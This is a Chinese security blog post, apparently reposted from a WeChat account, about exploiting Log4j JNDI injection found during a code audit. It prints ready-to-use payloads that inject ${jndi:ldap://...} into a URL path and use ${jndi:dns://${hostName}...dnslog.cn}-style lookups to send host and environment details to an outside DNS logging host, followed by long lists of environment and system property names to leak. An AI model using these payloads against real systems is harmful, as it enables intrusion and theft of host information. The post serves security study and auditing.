JAVA安全JNDI注入之dnslog数据外带

admin 2024年3月13日11:33:14评论6 views字数 9046阅读30分9秒阅读模式

今天审计的时候遇到了log4j,简单分享一下jndi注入之dnslog数据外带啵

简介

log4j处理${}是采用递归方式解析,大概意思就是有几个${}表达式,lookup也就解析几个,所以可以配合dnslog来信息外带

log4j rce

因为这里点log4j是存在漏洞的,我们寻找log4j初始化的地方logManager.getLoggerJAVA安全JNDI注入之dnslog数据外带

全局搜索logger

JAVA安全JNDI注入之dnslog数据外带JAVA安全JNDI注入之dnslog数据外带

这里pid是可控的并且log4j会记录pid的操作 我们进行jndi注入即可${jndi:ldap://e62b9cc99f.ipv6.xn--gg8h.eu.org./exploit}

/tmall/product/$%7Bjndi:ldap://e62b9cc99f.ipv6.xn--gg8h.eu.org./exploit%7D/

JAVA安全JNDI注入之dnslog数据外带

log4j-java

${java:version}:获取Java版本,相当于调用 System.getProperty("java.version")${java:runtime}:获取Java运行时环境,相当于调用 Runtime.getRuntime()${java:vm}:获取Java虚拟机,相当于调用 ManagementFactory.getRuntimeMXBean()${java:os}:获取操作系统信息,相当于调用 System.getProperty("os.name")${java:hw}:获取硬件信息,这可能是在应用程序中自定义的方法${java:locale}:获取当前的区域设置(Locale),相当于调用 Locale.getDefault()。

代码层

public String getHardware() {        return "processors: " + Runtime.getRuntime().availableProcessors() + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") + this.getSystemProperty(", instruction sets: ", "sun.cpu.isalist");    }    public String getLocale() {        return "default locale: " + Locale.getDefault() + ", platform encoding: " + this.getSystemProperty("file.encoding");    }    public String getOperatingSystem() {        return this.getSystemProperty("os.name") + " " + this.getSystemProperty("os.version") + this.getSystemProperty(" ", "sun.os.patch.level") + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model");    }    public String getRuntime() {        return this.getSystemProperty("java.runtime.name") + " (build " + this.getSystemProperty("java.runtime.version") + ") from " + this.getSystemProperty("java.vendor");    }    private String getSystemProperty(final String name) {        return this.spLookup.lookup(name);    }    public String getVirtualMachine() {        return this.getSystemProperty("java.vm.name") + " (build " + this.getSystemProperty("java.vm.version") + ", " + this.getSystemProperty("java.vm.info") + ")";    }

这些表达式允许在Spring配置文件或注解中动态地引用Java运行时环境的相关信息 而不需要硬编码这些信息到代码中

这里分别使用一下java:version和java:runtime

JAVA安全JNDI注入之dnslog数据外带

JAVA安全JNDI注入之dnslog数据外带

JAVA安全JNDI注入之dnslog数据外带

${hostName}:获取主机名 这可能是在Spring环境中定义的一个变量,用于获取当前主机的名称。${env:COMPUTERNAME}:获取计算机名称(Windows系统)这个表达式将返回系统环境变量COMPUTERNAME的值,该变量通常包含了计算机的名称。${env:USERDOMAIN}:获取用户域(Windows系统)这个表达式将返回系统环境变量USERDOMAIN的值,该变量通常包含了当前用户所属的域。${env:LOGONSERVER}:获取登录服务器(Windows系统)这个表达式将返回系统环境变量LOGONSERVER的值,该变量通常包含了用户登录时所使用的服务器

例子

${jndi:dns://${hostName}.iwk5r1.dnslog.cn}${jndi:dns://${env:COMPUTERNAME}.iwk5r1.dnslog.cn}${jndi:dns://${env:USERDOMAIN}.iwk5r1.dnslog.cn}

log4j2-env

linux:

CLASSPATH,HOME,JAVA_HOME,LANG,LC_TERMINAL,LC_TERMINAL_VERSION,LESS,LOGNAME,LSCOLORS,LS_COLORS,MAIL,NLSPATH,OLDPWD,PAGER,PATH,PWD,SHELL,SHLVL,SSH_CLIENT,SSH_CONNECTION,SSH_TTY,TERM,USER,XDG_RUNTIME_DIR,XDG_SESSION_ID,XFILESEARCHPATH,ZSH,_${env:CLASSPATH}:获取Java类路径。${env:HOME}:获取用户的主目录路径。${env:JAVA_HOME}:获取Java安装路径。${env:LANG}:获取系统默认语言设置。${env:LC_TERMINAL}:获取终端的语言和字符集设置。${env:LC_TERMINAL_VERSION}:获取终端版本信息。${env:LESS}:获取Less命令的配置。${env:LOGNAME}:获取用户登录名。${env:LSCOLORS}:获取ls命令的颜色设置。${env:LS_COLORS}:获取ls命令的颜色设置(可能是Linux系统中)。${env:MAIL}:获取邮件存储路径。${env:NLSPATH}:获取国际化(I18N)消息目录的搜索路径。${env:OLDPWD}:获取前一个工作目录的路径。${env:PAGER}:获取默认的分页器程序。${env:PATH}:获取系统的可执行文件搜索路径。${env:PWD}:获取当前工作目录的路径。${env:SHELL}:获取用户的默认Shell。${env:SHLVL}:获取Shell的嵌套级别。${env:SSH_CLIENT}:获取SSH客户端的信息。${env:SSH_CONNECTION}:获取SSH连接的信息。${env:SSH_TTY}:获取SSH终端的设备名称。${env:TERM}:获取终端类型。${env:USER}:获取当前用户的用户名。${env:XDG_RUNTIME_DIR}:获取XDG运行时目录。${env:XDG_SESSION_ID}:获取XDG会话ID。${env:XFILESEARCHPATH}:获取文件搜索路径。${env:ZSH}:获取Zsh Shell的路径。

windows:

=E:,=ExitCode,A8_HOME,A8_ROOT_BIN,ALLUSERSPROFILE,APPDATA,CATALINA_BASE,CATALINA_HOME,CATALINA_OPTS,CATALINA_TMPDIR,CLASSPATH,CLIENTNAME,COMPUTERNAME,ComSpec,CommonProgramFiles,CommonProgramFiles(x86),CommonProgramW6432,FP_NO_HOST_CHECK,HOMEDRIVE,HOMEPATH,JRE_HOME,Java_Home,LOCALAPPDATA,LOGONSERVER,NUMBER_OF_PROCESSORS,OS,PATHEXT,PROCESSOR_ARCHITECTURE,PROCESSOR_IDENTIFIER,PROCESSOR_LEVEL,PROCESSOR_REVISION,PROMPT,PSModulePath,PUBLIC,Path,ProgramData,ProgramFiles,ProgramFiles(x86),ProgramW6432,SESSIONNAME,SystemDrive,SystemRoot,TEMP,TMP,ThisExitCode,USERDOMAIN,USERNAME,USERPROFILE,WORK_PATH,windir,windows_tracing_flags,windows_tracing_logfile${env:A8_HOME}:获取A8_HOME环境变量的值。${env:A8_ROOT_BIN}:获取A8_ROOT_BIN环境变量的值。${env:ALLUSERSPROFILE}:获取所有用户的公共配置文件目录的路径。${env:APPDATA}:获取当前用户的应用程序数据目录的路径。${env:CATALINA_BASE}:获取Apache Tomcat的基本目录。${env:CATALINA_HOME}:获取Apache Tomcat的主目录。${env:CATALINA_OPTS}:获取用于启动Tomcat的JVM选项。${env:CATALINA_TMPDIR}:获取Tomcat的临时目录。${env:CLASSPATH}:获取Java类路径。${env:CLIENTNAME}:获取客户端计算机名称。${env:COMPUTERNAME}:获取计算机名称。${env:ComSpec}:获取Windows命令处理程序的路径。${env:CommonProgramFiles}:获取公共程序文件目录的路径。${env:CommonProgramFiles(x86)}:获取64位Windows系统上的公共程序文件目录的路径。${env:CommonProgramW6432}:获取64位Windows系统上的公共程序文件目录的路径。${env:FP_NO_HOST_CHECK}:获取SSH客户端选项。${env:HOMEDRIVE}:获取用户主目录的驱动器。${env:HOMEPATH}:获取用户主目录的路径。${env:JRE_HOME}:获取Java运行时环境的主目录。${env:Java_Home}:获取Java主目录。${env:LOCALAPPDATA}:获取当前用户的本地应用程序数据目录的路径。${env:LOGONSERVER}:获取登录服务器的名称。${env:NUMBER_OF_PROCESSORS}:获取系统上的处理器数目。${env:OS}:获取操作系统的名称。${env:PATHEXT}:获取可执行文件的文件扩展名。${env:PROCESSOR_ARCHITECTURE}:获取处理器的体系结构。${env:PROCESSOR_IDENTIFIER}:获取处理器标识符。${env:PROCESSOR_LEVEL}:获取处理器级别。${env:PROCESSOR_REVISION}:获取处理器修订。${env:PROMPT}:获取命令提示符的文本。${env:PSModulePath}:获取PowerShell模块的路径。${env:PUBLIC}:获取公共用户文件夹的路径。${env:Path}:获取系统的可执行文件搜索路径。${env:ProgramData}:获取程序数据目录的路径。${env:ProgramFiles}:获取默认安装的程序文件目录的路径。${env:ProgramFiles(x86)}:获取64位Windows系统上默认安装的程序文件目录的路径。${env:ProgramW6432}:获取64位Windows系统上默认安装的程序文件目录的路径。${env:SESSIONNAME}:获取当前会话的名称。${env:SystemDrive}:获取系统驱动器的路径。${env:SystemRoot}:获取Windows系统目录的路径。${env:TEMP}:获取临时目录的路径。${env:TMP}:获取临时目录的路径。${env:ThisExitCode}:获取上一次退出的代码。${env:USERDOMAIN}:获取用户域的名称。${env:USERNAME}:获取当前用户的用户名。${env:USERPROFILE}:获取当前用户的主目录的路径。${env:WORK_PATH}:获取工作路径。${env:windir}:获取Windows目录的路径。${env:windows_tracing_flags}:获取Windows跟踪标志。${env:windows_tracing_logfile}:获取Windows跟踪日志文件的路径。

mac:

ANT_HOME,COMMAND_MODE,GOBIN,GOPATH,GOROOT,GRADLE_HOME,HOME,HOMEBREW_BOTTLE_DOMAIN,JAVA_HOME,JAVA_MAIN_CLASS_3651,LC_CTYPE,LESS,LOGNAME,LSCOLORS,LaunchInstanceID,OLDPWD,PAGER,PATH,PWD,SECURITYSESSIONID,SHELL,SSH_AUTH_SOCK,TIME_STYLE,TMPDIR,USER,VERSIONER_PYTHON_VERSION,XPC_FLAGS,XPC_SERVICE_NAME,ZSH,__CF_USER_TEXT_ENCODING${env:ANT_HOME}:获取Apache Ant的主目录。${env:COMMAND_MODE}:获取命令行模式。${env:GOBIN}:获取Go语言的可执行文件目录。${env:GOPATH}:获取Go语言的工作目录。${env:GOROOT}:获取Go语言的根目录。${env:GRADLE_HOME}:获取Gradle的主目录。${env:HOME}:获取用户的主目录路径。${env:HOMEBREW_BOTTLE_DOMAIN}:获取Homebrew的瓶子域。${env:JAVA_HOME}:获取Java运行时环境的主目录。${env:JAVA_MAIN_CLASS_3651}:获取Java主类。${env:LC_CTYPE}:获取终端字符集的设置。${env:LESS}:获取Less命令的配置。${env:LOGNAME}:获取用户登录名。${env:LSCOLORS}:获取ls命令的颜色设置。${env:LaunchInstanceID}:获取启动实例的ID。${env:OLDPWD}:获取前一个工作目录的路径。${env:PAGER}:获取默认的分页器程序。${env:PATH}:获取系统的可执行文件搜索路径。${env:PWD}:获取当前工作目录的路径。${env:SECURITYSESSIONID}:获取安全会话ID。${env:SHELL}:获取用户的默认Shell。${env:SSH_AUTH_SOCK}:获取SSH代理套接字的路径。${env:TIME_STYLE}:获取时间显示的样式。${env:TMPDIR}:获取临时目录的路径。${env:USER}:获取当前用户的用户名。${env:VERSIONER_PYTHON_VERSION}:获取Python版本。${env:XPC_FLAGS}:获取XPC标志。${env:XPC_SERVICE_NAME}:获取XPC服务名。${env:ZSH}:获取Zsh Shell的路径。

log4j2-sys

${sys:awt.toolkit}:获取Abstract Window Toolkit的工具包的名称。${sys:file.encoding}:获取默认的字符编码。${sys:file.encoding.pkg}:获取文件编码包的名称。${sys:file.separator}:获取文件分隔符(在 UNIX 系统中是 /,在 Windows 系统中是 )。${sys:java.awt.graphicsenv}:获取Graphics Environment的实现类。${sys:java.awt.printerjob}:获取PrinterJob的实现类。${sys:java.class.path}:获取Java类路径。${sys:java.class.version}:获取Java类格式的版本号。${sys:java.endorsed.dirs}:获取Java扩展目录的位置(用于扩展标准的JDK类)。${sys:java.ext.dirs}:获取Java扩展目录的位置。${sys:java.home}:获取Java安装目录。${sys:java.io.tmpdir}:获取默认的临时文件路径。${sys:java.library.path}:获取Java库路径。${sys:java.runtime.name}:获取Java Runtime Environment的名称。${sys:java.runtime.version}:获取Java Runtime Environment的版本。${sys:java.specification.name}:获取Java规范的名称。${sys:java.specification.vendor}:获取Java规范的供应商。${sys:java.specification.version}:获取Java规范的版本。${sys:java.vendor}:获取Java的供应商。${sys:java.vendor.url}:获取Java供应商的URL。${sys:java.vendor.url.bug}:获取Java供应商的Bug报告URL。${sys:java.version}:获取Java版本号。${sys:java.vm.info}:获取Java虚拟机的附加信息。${sys:java.vm.name}:获取Java虚拟机的名称。${sys:java.vm.specification.name}:获取Java虚拟机规范的名称。${sys:java.vm.specification.vendor}:获取Java虚拟机规范的供应商。${sys:java.vm.specification.version}:获取Java虚拟机规范的版本。${sys:java.vm.vendor}:获取Java虚拟机的供应商。${sys:java.vm.version}:获取Java虚拟机的版本。${sys:line.separator}:获取行分隔符。${sys:os.arch}:获取操作系统的架构(例如 x86、x86_64)。${sys:os.name}:获取操作系统的名称。${sys:os.version}:获取操作系统的版本。${sys:path.separator}:获取路径分隔符(在 UNIX 系统中是 :,在 Windows 系统中是 ;)。${sys:sun.arch.data.model}:获取Sun的数据模型。${sys:sun.boot.class.path}:获取Sun引导类路径。${sys:sun.boot.library.path}:获取Sun引导库路径。${sys:sun.cpu.endian}:获取Sun CPU的字节顺序。${sys:sun.cpu.isalist}:获取Sun CPU的指令集。${sys:sun.desktop}:获取Sun的桌面系统。${sys:sun.io.unicode.encoding}:获取Sun的Unicode编码。${sys:sun.java.command}:获取Java启动时的命令行。${sys:sun.java.launcher}:获取Java启动器的类。${sys:sun.jnu.encoding}:获取Sun的JNU编码。${sys:sun.management.compiler}:获取Sun的管理编译器。${sys:sun.os.patch.level}:获取Sun操作系统的补丁级别。${sys:sun.stderr.encoding}:获取Sun标准错误输出的编码。${sys:user.country}:获取用户的国家代码。${sys:user.dir}:获取用户的当前工作目录。${sys:user.home}:获取用户的主目录。${sys:user.language}:获取用户的语言代码。${sys:user.name}:获取用户的用户名。${sys:user.script}:获取用户的脚本。${sys:user.timezone}:获取用户的时区。${sys:user.variant}:获取用户的变体。

团队二维码,后期开放免费知识库,扫码直接进群共同进步,欢迎各位师傅进群交流

JAVA安全JNDI注入之dnslog数据外带

原文始发于微信公众号(CodeA聊安全):JAVA安全JNDI注入之dnslog数据外带

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月13日11:33:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全JNDI注入之dnslog数据外带https://cn-sec.com/archives/2571794.html

发表评论

匿名网友 填写信息